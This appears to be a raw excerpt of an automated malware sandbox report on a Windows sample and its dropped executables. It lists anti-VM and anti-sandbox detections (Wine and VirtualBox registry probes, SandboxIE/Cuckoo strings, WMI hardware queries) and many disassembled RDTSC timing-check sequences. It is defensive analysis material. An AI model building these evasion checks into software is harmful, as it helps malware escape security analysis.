Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: innoinstaller.exe PID: 5740, type: MEMORYSTR
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLLP
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL@\^Q
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: EXPLORERJSBIEDLL.DLLKCUCKOOMON.DLLLWIN32_PROCESS.HANDLE='{0}'MPARENTPROCESSIDNCMDOSELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILUREPVERSIONQSERIALNUMBERSVMWARE|VIRTUAL|A M I|XENTSELECT * FROM WIN32_COMPUTERSYSTEMUMANUFACTURERVMODELWMICROSOFT|VMWARE|VIRTUALXJOHNYANNAZXXXXXXXX
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AEED3B second address: AEED5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007F1690B6C800h 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C72955 second address: C72969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F1690C1AF96h 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C72969 second address: C72991 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690B6C7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1690B6C808h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C72991 second address: C729A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C729A7 second address: C729AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C64EC3 second address: C64ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C64ECB second address: C64EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1690B6C806h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C72132 second address: C7213D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7213D second address: C7214F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690B6C7FAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C72295 second address: C722A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C722A9 second address: C722AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C722AE second address: C722EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA9h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1690C1AFA0h 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 jp 00007F1690C1AF96h 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C747FE second address: C74803 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74803 second address: AEED3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 5AADE45Ch 0x0000000e mov edx, 542D213Ah 0x00000013 push dword ptr [ebp+122D065Dh] 0x00000019 or dword ptr [ebp+122D1D56h], ecx 0x0000001f call dword ptr [ebp+122D3C64h] 0x00000025 pushad 0x00000026 pushad 0x00000027 movzx ecx, bx 0x0000002a mov eax, dword ptr [ebp+122D3120h] 0x00000030 popad 0x00000031 xor eax, eax 0x00000033 or dword ptr [ebp+122D1D70h], edi 0x00000039 jmp 00007F1690C1AFA4h 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 jmp 00007F1690C1AFA3h 0x00000047 mov dword ptr [ebp+122D2E5Ch], eax 0x0000004d pushad 0x0000004e jng 00007F1690C1AFA4h 0x00000054 xor edx, 78EE1964h 0x0000005a popad 0x0000005b mov esi, 0000003Ch 0x00000060 mov dword ptr [ebp+122D22D9h], edx 0x00000066 xor dword ptr [ebp+122D1D70h], esi 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D22D9h], eax 0x00000076 lodsw 0x00000078 or dword ptr [ebp+122D22D9h], esi 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 cmc 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cld 0x00000088 nop 0x00000089 push eax 0x0000008a pushad 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74871 second address: C748CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1690B6C803h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F1690B6C7F8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov si, D027h 0x0000002a push 00000000h 0x0000002c push F66E7D87h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F1690B6C804h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C748CC second address: C748D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C748D2 second address: C748D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C748D7 second address: C74943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 099182F9h 0x00000013 mov cx, 344Fh 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F1690C1AF98h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 jp 00007F1690C1AF9Ch 0x00000039 xor esi, dword ptr [ebp+122D2EC4h] 0x0000003f push 00000000h 0x00000041 stc 0x00000042 push 00000003h 0x00000044 mov cl, 4Eh 0x00000046 call 00007F1690C1AF99h 0x0000004b push eax 0x0000004c push edx 0x0000004d push ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74943 second address: C74948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74948 second address: C7494D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7494D second address: C74980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F1690B6C7FEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F1690B6C802h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74980 second address: C74987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74987 second address: C7499A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7499A second address: C7499E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C7499E second address: C749CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add esi, 6D17052Dh 0x0000000e lea ebx, dword ptr [ebp+1245976Eh] 0x00000014 jmp 00007F1690B6C807h 0x00000019 xchg eax, ebx 0x0000001a push edi 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C749CE second address: C749DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74A9F second address: C74B07 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1690B6C7F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D30D4h] 0x00000013 push 00000000h 0x00000015 mov edx, dword ptr [ebp+122D1CC2h] 0x0000001b push C1755FFAh 0x00000020 jmp 00007F1690B6C7FEh 0x00000025 add dword ptr [esp], 3E8AA086h 0x0000002c sub dword ptr [ebp+122D22D9h], ecx 0x00000032 push 00000003h 0x00000034 jnl 00007F1690B6C7FCh 0x0000003a push 00000000h 0x0000003c mov ecx, esi 0x0000003e push 00000003h 0x00000040 add edx, 3C812C31h 0x00000046 push AE2EC485h 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jg 00007F1690B6C7F6h 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74B07 second address: C74B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74B0D second address: C74B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74C45 second address: C74C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74C4B second address: C74C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74C4F second address: C74D19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 5EAE1586h 0x00000012 mov ecx, dword ptr [ebp+122D2F3Ch] 0x00000018 push 00000003h 0x0000001a sub ch, 0000002Bh 0x0000001d push 00000000h 0x0000001f mov esi, ecx 0x00000021 push 00000003h 0x00000023 jmp 00007F1690C1AFA0h 0x00000028 push 4334E74Eh 0x0000002d push eax 0x0000002e jmp 00007F1690C1AFA6h 0x00000033 pop eax 0x00000034 add dword ptr [esp], 7CCB18B2h 0x0000003b call 00007F1690C1AF9Dh 0x00000040 jo 00007F1690C1AFA6h 0x00000046 pop edi 0x00000047 lea ebx, dword ptr [ebp+12459782h] 0x0000004d push 00000000h 0x0000004f push ebx 0x00000050 call 00007F1690C1AF98h 0x00000055 pop ebx 0x00000056 mov dword ptr [esp+04h], ebx 0x0000005a add dword ptr [esp+04h], 0000001Ch 0x00000062 inc ebx 0x00000063 push ebx 0x00000064 ret 0x00000065 pop ebx 0x00000066 ret 0x00000067 jmp 00007F1690C1AF9Bh 0x0000006c jmp 00007F1690C1AF9Ah 0x00000071 xchg eax, ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C74D19 second address: C74D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5AD08 second address: C5AD42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F1690C1AFB5h 0x0000000f pushad 0x00000010 jmp 00007F1690C1AFA7h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C94463 second address: C9446A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9446A second address: C94477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F1690C1AF96h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C945CC second address: C945D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C94742 second address: C94748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C94748 second address: C9474E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C94F82 second address: C94F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C94F8B second address: C94F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C950F7 second address: C950FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C950FB second address: C9511F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C806h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1690B6C7F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9511F second address: C95123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95123 second address: C9512B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9512B second address: C95152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1690C1AFA9h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1690C1AF96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95152 second address: C9517C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F6h 0x00000008 jmp 00007F1690B6C802h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007F1690B6C7F6h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9517C second address: C9518C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1690C1AF96h 0x0000000a js 00007F1690C1AF96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C952EF second address: C952F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9556E second address: C95584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690C1AF9Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95584 second address: C955B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1690B6C7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e jbe 00007F1690B6C7FEh 0x00000014 push ebx 0x00000015 jnp 00007F1690B6C7F6h 0x0000001b jbe 00007F1690B6C7F6h 0x00000021 pop ebx 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95710 second address: C95737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 jp 00007F1690C1AF96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnc 00007F1690C1AF96h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95737 second address: C9573C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9573C second address: C95742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95742 second address: C95746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C95746 second address: C9574F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C960B4 second address: C960DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F1690B6C7FCh 0x0000000b jmp 00007F1690B6C805h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C960DE second address: C960E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C98A3C second address: C98A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1690B6C805h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C98A6A second address: C98A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C97AD4 second address: C97ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C98BCC second address: C98BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C98BD0 second address: C98BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F1690B6C7F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C98BE4 second address: C98BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9D311 second address: C9D321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jg 00007F1690B6C7F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA180F second address: CA1815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA1815 second address: CA181B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
